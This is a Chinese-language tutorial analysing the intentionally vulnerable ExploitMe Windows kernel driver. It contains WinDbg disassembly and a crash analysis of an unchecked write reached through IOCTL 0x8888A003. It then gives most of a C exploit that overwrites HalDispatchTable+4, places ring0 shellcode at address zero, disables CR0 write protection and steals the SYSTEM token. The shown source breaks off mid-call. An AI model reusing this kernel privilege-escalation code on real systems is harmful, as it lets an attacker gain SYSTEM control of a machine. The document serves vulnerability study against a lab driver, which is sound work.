ExploitMe内核漏洞分析与利用

0x01 漏洞分析:

用工具加载驱动后,开启windbg进行内核调试,先找到驱动的IoControlCode数值,由于笔者在编译时是采用test.sys作为文件名,因此使用!drvobj test 这样的命令,但源码依然是经漏洞分析技术第二版样章上的代码而修改编译的,执行命令后结果如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> !drvobj test 2
Driver object (825cef38) is for:
\Driver\test
DriverEntry: f9032885 test
DriverStartIo: 00000000
DriverUnload: f90324a0 test
AddDevice: 00000000

Dispatch routines:
[00] IRP_MJ_CREATE f90324c0 test+0x4c0
[01] IRP_MJ_CREATE_NAMED_PIPE f90324c0 test+0x4c0
[02] IRP_MJ_CLOSE f90324c0 test+0x4c0
[03] IRP_MJ_READ f90324c0 test+0x4c0
[04] IRP_MJ_WRITE f90324c0 test+0x4c0
[05] IRP_MJ_QUERY_INFORMATION f90324c0 test+0x4c0
[06] IRP_MJ_SET_INFORMATION f90324c0 test+0x4c0
[07] IRP_MJ_QUERY_EA f90324c0 test+0x4c0
[08] IRP_MJ_SET_EA f90324c0 test+0x4c0
[09] IRP_MJ_FLUSH_BUFFERS f90324c0 test+0x4c0
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION f90324c0 test+0x4c0
[0b] IRP_MJ_SET_VOLUME_INFORMATION f90324c0 test+0x4c0
[0c] IRP_MJ_DIRECTORY_CONTROL f90324c0 test+0x4c0
[0d] IRP_MJ_FILE_SYSTEM_CONTROL f90324c0 test+0x4c0
[0e] IRP_MJ_DEVICE_CONTROL f90324c0 test+0x4c0
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL f90324c0 test+0x4c0
[10] IRP_MJ_SHUTDOWN f90324c0 test+0x4c0
[11] IRP_MJ_LOCK_CONTROL f90324c0 test+0x4c0
[12] IRP_MJ_CLEANUP f90324c0 test+0x4c0
[13] IRP_MJ_CREATE_MAILSLOT f90324c0 test+0x4c0
[14] IRP_MJ_QUERY_SECURITY f90324c0 test+0x4c0
[15] IRP_MJ_SET_SECURITY f90324c0 test+0x4c0
[16] IRP_MJ_POWER f90324c0 test+0x4c0
[17] IRP_MJ_SYSTEM_CONTROL f90324c0 test+0x4c0
[18] IRP_MJ_DEVICE_CHANGE f90324c0 test+0x4c0
[19] IRP_MJ_QUERY_QUOTA f90324c0 test+0x4c0
[1a] IRP_MJ_SET_QUOTA f90324c0 test+0x4c0
[1b] IRP_MJ_PNP 804fb8a6 nt!IopInvalidDeviceRequest

上面的 test+0x4c0 就是IRP分发例程,通过对其反汇编,可以找到其中的IO控制码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
kd> uf test+0x4c0
test+0x4c0:
f90324c0 8bff mov edi,edi
f90324c2 55 push ebp
f90324c3 8bec mov ebp,esp
f90324c5 83ec24 sub esp,24h
f90324c8 c745e400000000 mov dword ptr [ebp-1Ch],0
f90324cf 8b450c mov eax,dword ptr [ebp+0Ch]
f90324d2 8b4860 mov ecx,dword ptr [eax+60h]
f90324d5 894df4 mov dword ptr [ebp-0Ch],ecx
f90324d8 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324db 8b4210 mov eax,dword ptr [edx+10h]
f90324de 8945f8 mov dword ptr [ebp-8],eax
f90324e1 8b4d0c mov ecx,dword ptr [ebp+0Ch]
f90324e4 8b513c mov edx,dword ptr [ecx+3Ch]
f90324e7 8955ec mov dword ptr [ebp-14h],edx
f90324ea 8b45f4 mov eax,dword ptr [ebp-0Ch]
f90324ed 8b4808 mov ecx,dword ptr [eax+8]
f90324f0 894dfc mov dword ptr [ebp-4],ecx
f90324f3 8b55f4 mov edx,dword ptr [ebp-0Ch]
f90324f6 8b4204 mov eax,dword ptr [edx+4]
f90324f9 8945e8 mov dword ptr [ebp-18h],eax
f90324fc 8b4df4 mov ecx,dword ptr [ebp-0Ch]
f90324ff 8b510c mov edx,dword ptr [ecx+0Ch]
f9032502 8955f0 mov dword ptr [ebp-10h],edx
f9032505 8b450c mov eax,dword ptr [ebp+0Ch]
f9032508 83c018 add eax,18h
f903250b 8945e0 mov dword ptr [ebp-20h],eax
f903250e 8b4de0 mov ecx,dword ptr [ebp-20h]
f9032511 c70100000000 mov dword ptr [ecx],0
f9032517 8b55e0 mov edx,dword ptr [ebp-20h]
f903251a c7420400000000 mov dword ptr [edx+4],0
f9032521 8b45f0 mov eax,dword ptr [ebp-10h]
f9032524 8945dc mov dword ptr [ebp-24h],eax
f9032527 817ddc03a08888 cmp dword ptr [ebp-24h],8888A003h // IO控制码
f903252e 7402 je test+0x532 (f9032532) // IO控制码0x8888A003对应的处理过程

kd> u f9032532
test+0x532:
f9032532 837dfc04 cmp dword ptr [ebp-4],4 // 输入缓冲区长度
f9032536 721a jb test+0x552 (f9032552)
f9032538 837de804 cmp dword ptr [ebp-18h],4 // 输出缓冲区长度
f903253c 7214 jb test+0x552 (f9032552)
f903253e 8b4dec mov ecx,dword ptr [ebp-14h] // 输出缓冲区
f9032541 8b55f8 mov edx,dword ptr [ebp-8]
f9032544 8b02 mov eax,dword ptr [edx] // 输入缓冲区
f9032546 8901 mov dword ptr [ecx],eax // 写入地址未经验证进而引发本地提权漏洞

下面编写测试代码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("系统错误:%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int main(void)
{
HANDLE hDevice;
DWORD length = 0;
BOOL ret;
char g_InputBuffer[4] ="\x00\x00\x00\x00"; //输入缓冲区指针

// 打开设备驱动
hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);

if (hDevice == INVALID_HANDLE_VALUE)
{
ShowErrMsg();
return EXIT_FAILURE;
}

ret = DeviceIoControl(hDevice, // 驱动句柄
0x8888A003, // IoControlCode数值
g_InputBuffer, // 输入缓冲区指针
4, // 输入缓冲区字节数
0x80808080, // 输出缓冲区指针
4, // 输出缓冲区字节数
&length, // 返回实际的数据字节数
NULL);

if(!ret)
ShowErrMsg();
else
printf("DeviceIoControl Success!\n");
return EXIT_SUCCESS;
}

运行后系统崩溃,被windbg断下,下面是 !analyze -v 的分析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 80808080, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f9032546, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

*************************************************************************
*** ***
*** ***
*** Your debugger is not using the correct symbols ***
*** ***
*** In order for this command to work properly, your symbol path ***
*** must point to .pdb files that have full type information. ***
*** ***
*** Certain .pdb files (such as the public OS symbols) do not ***
*** contain the required information. Contact the group that ***
*** provided you with these symbols if you need this command to ***
*** work. ***
*** ***
*** Type referenced: kernel32!pNlsUserInfo ***
*** ***
*************************************************************************

WRITE_ADDRESS: 80808080

FAULTING_IP:
test+546
f9032546 8901 mov dword ptr [ecx],eax

MM_INTERNAL_CODE: 0

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAULTING_MODULE: f9032000 test

DEFAULT_BUCKET_ID: CODE_CORRUPTION

BUGCHECK_STR: 0x50

PROCESS_NAME: test.exe

TRAP_FRAME: f61b6b9c -- (.trap 0xfffffffff61b6b9c)
ErrCode = 00000002
eax=00000000 ebx=82567498 ecx=80808080 edx=0012ff70 esi=825cef38 edi=8256f150
eip=f9032546 esp=f61b6c10 ebp=f61b6c34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
test+0x546:
f9032546 8901 mov dword ptr [ecx],eax ds:0023:80808080=???????? // 这里证明了我们先前的分析是正确的
Resetting default scope

LAST_CONTROL_TRANSFER: from 8053377f to 804e45a2

STACK_TEXT:
f61b66ec 8053377f 00000003 80808080 00000000 nt!RtlpBreakWithStatusInstruction
f61b6738 80534256 00000003 806f103c c0202020 nt!KiBugCheckDebugBreak+0x19
f61b6b18 80534846 00000050 80808080 00000001 nt!KeBugCheck2+0x574
f61b6b38 805251e0 00000050 80808080 00000001 nt!KeBugCheckEx+0x1b
f61b6b84 804e272b 00000001 80808080 00000000 nt!MmAccessFault+0x6f5
f61b6b84 f9032546 00000001 80808080 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
f61b6c34 804e4807 825a29d0 82567498 806f1070 test+0x546 // 这里就是漏洞函数
f61b6c44 80569191 82567508 8256f150 82567498 nt!IopfCallDriver+0x31
f61b6c58 805780ca 825a29d0 82567498 8256f150 nt!IopSynchronousServiceTail+0x70
f61b6d00 8057a5e3 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611
f61b6d34 804df7ec 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
f61b6d34 7c92e526 000007e8 00000000 00000000 nt!KiFastCallEntry+0xf8
0012fe94 7c92d28a 7c801675 000007e8 00000000 ntdll!KiIntSystemCall+0x6
0012fe98 7c801675 000007e8 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0012fef8 0040116c 000007e8 8888a003 0012ff70 kernel32!DeviceIoControl+0xdd
0012ff80 00401399 00000001 00380f60 00380ff8 test_400000+0x116c
0012ffc0 7c817077 00241fe4 0012f7bc 7ffdc000 test_400000+0x1399
0012fff0 00000000 004012b0 00000000 78746341 kernel32!BaseProcessStart+0x23


STACK_COMMAND: kb

CHKIMG_EXTENSION: !chkimg -lo 50 -d !nt
804d9f94-804d9f98 5 bytes - nt!KiXMMIZeroPage+30
[ fa f7 80 0c 02:e9 cf 7c 7b 77 ]
……省略部分内容……
WARNING: !chkimg output was truncated to 50 lines. Invoke !chkimg without '-lo [num_lines]' to view entire output.
231 errors : !nt (804d9f94-805363e8)

MODULE_NAME: memory_corruption

IMAGE_NAME: memory_corruption

FOLLOWUP_NAME: memory_corruption

MEMORY_CORRUPTOR: LARGE

FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE

BUCKET_ID: MEMORY_CORRUPTION_LARGE

Followup: memory_corruption
---------

0x02 漏洞利用

利用思路:1、获取HalDispatchTable表地址,再偏移0x4找到HalQuerySystemInformation函数地址;
2、利用内核漏洞将HalQuerySystemInformation函数地址修改为0x0;
3、在0x0地址处申请块内存,然后将ring0 shellcode拷贝过去;
4、通过调用NtQueryIntervalProfile函数来执行0x0处的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
***************************** exploit.h ***************************

#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define PAGE_SIZE 0xA00

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)

#define KERNEL_NAME_LENGTH 0x0D

#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef ULONG NTSTATUS;

typedef struct _ANSI_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PCHAR Buffer;
/* 0x08 */
}
ANSI_STRING,
*PANSI_STRING,
**PPANSI_STRING;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
/* 0x0000 */ ULONG Reserved[2];
/* 0x0008 */ PVOID Base;
/* 0x000C */ ULONG Size;
/* 0x0010 */ ULONG Flags;
/* 0x0014 */ USHORT Index;
/* 0x0016 */ USHORT Unknown;
/* 0x0018 */ USHORT LoadCount;
/* 0x001A */ USHORT ModuleNameOffset;
/* 0x001C */ UCHAR ImageName[256];
/* 0x011C */
}
SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION,
**PPSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX
{
/* 0x00 */ ULONG ModulesCount;
/* 0x04 */ SYSTEM_MODULE_INFORMATION Modules[0];
/* 0xXX */
}
SYSTEM_MODULE_INFORMATION_EX,
*PSYSTEM_MODULE_INFORMATION_EX,
**PPSYSTEM_MODULE_INFORMATION_EX;

typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitAnsiString
(
IN OUT PANSI_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_VOID RtlCreateUnicodeStringFromAsciiz
(
OUT PUNICODE_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
);

IMP_VOID RtlFreeAnsiString
(
IN PANSI_STRING AnsiString
);

IMP_SYSCALL LdrLoadDll
(
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle
);

IMP_SYSCALL LdrUnloadDll
(
IN PVOID DllHandle
);

IMP_SYSCALL LdrGetProcedureAddress
(
IN PVOID DllHandle,
IN PANSI_STRING ProcedureName OPTIONAL,
IN ULONG ProcedureNumber OPTIONAL,
OUT PVOID *ProcedureAddress
);

IMP_SYSCALL NtAllocateVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

IMP_SYSCALL NtFreeVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG FreeSize,
IN ULONG FreeType
);

IMP_SYSCALL NtQuerySystemInformation
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtQueryIntervalProfile
(
IN KPROFILE_SOURCE Source,
OUT PULONG Interval
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

#endif

******************************** END *************************************

******************************** exploit.c *******************************

#include "exploit.h"

#define IOCTL_CODE 0x8888A003

PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;

PVOID BaseAddress = NULL;


NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);

if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);

return BaseAddress;
}

return NULL;
}

VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;

ULONG FreeSize = 0;


NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}


char g_ressdtOutputBuffer[4]={0};//输出的缓冲区

DWORD g_uCr0=0;

NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
}

//提权到SYSTEM
__asm
{
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
mov eax,[eax] //获取当前线程PETHREAD
mov esi,[eax+0x220] //获取当前线程所属进程的PEPROCESS
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88 //获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84] //获取该进程的pid到edx
cmp edx,0x4 //通过PID查找SYSTEM进程
jne searchXp
mov eax,[eax+0xc8] //获取system进程的token
mov [esi+0xc8],eax //修改当前进程的token
}
//恢复内核写保护
_asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
return 0;
}

void ShowAlertMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;
ULONG ReturnLength = 0;
char g_InputBuffer[4] ="\x00\x00\x00\x00";

ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;

ULONG ShellCodeSize = PAGE_SIZE; // 此值不可过高,否则可能导致在复制shellcode时引发异常,
// 因为复制的内存过广,可能有部分是不可写的,此时就会引发错误!
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;

UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;

ULONG TextColor;

///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

// 获取内核模块列表数据大小到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);

if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);

ModuleInformation = RtlAllocateMemory(ReturnLength); // 申请内存用于存放内核模块列表数据

if(ModuleInformation)
{
// 获取内核模块列表数据到ModuleInformation
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);

if(NtStatus == STATUS_SUCCESS)
{
// 从内核模块列表中获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); // 获取模块基址

RtlMoveMemory(
ImageName, // 获取模块名称
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);

printf(" **************************************************************************\n"
" * ImageBase - 0x%.8X \n"
" * ImageName - %s \n",
ImageBase,
ImageName);

RtlFreeMemory(ModuleInformation); // 释放存放内核模块列表的内存

RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); // 获取内核模块的UnicodeString

// 加载内核模块到本地进程
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
printf( " * \n"
" * LdrLoadDLL:");
ShowAlertMsg();

RtlInitAnsiString(&ProcedureName, "HalDispatchTable");

// 获取内核HalDispatchTable 函数表地址
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
printf(" * LdrGetProcedureAddress:");
ShowAlertMsg();

(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;

// HalDispatchTable 地址 + 4 = HalQuerySystemInformation 函数地址
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);

printf(" * \n"
" * HalDispatchTable - 0x%.8X \n"
" * xHalQuerySystemInformation - 0x%.8X \n",
HalDispatchTable,
xHalQuerySystemInformation);

// 卸载进程中的内核模块
LdrUnloadDll((PVOID)MappedBase);


RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;

// 获取驱动设备句柄
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
printf( " * \n"
" * NtCreateFile:");
ShowAlertMsg();

// 令输出缓冲区指针指向HalQuerySystemInformation函数地址
*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;


NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_CODE, // IoControlCode
g_InputBuffer, // InputBuffer
4, // InputBufferLength
g_ressdtOutputBuffer, // OutputBuffer
4); // OutBufferLength
printf(" * NtDeviceIoControlFile:");
ShowAlertMsg();

ShellCodeAddress = (PVOID)sizeof(ULONG);

NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
printf(" * NtAllocateVirtualMemory:");
ShowAlertMsg();

RtlCopyMemory(
ShellCodeAddress,
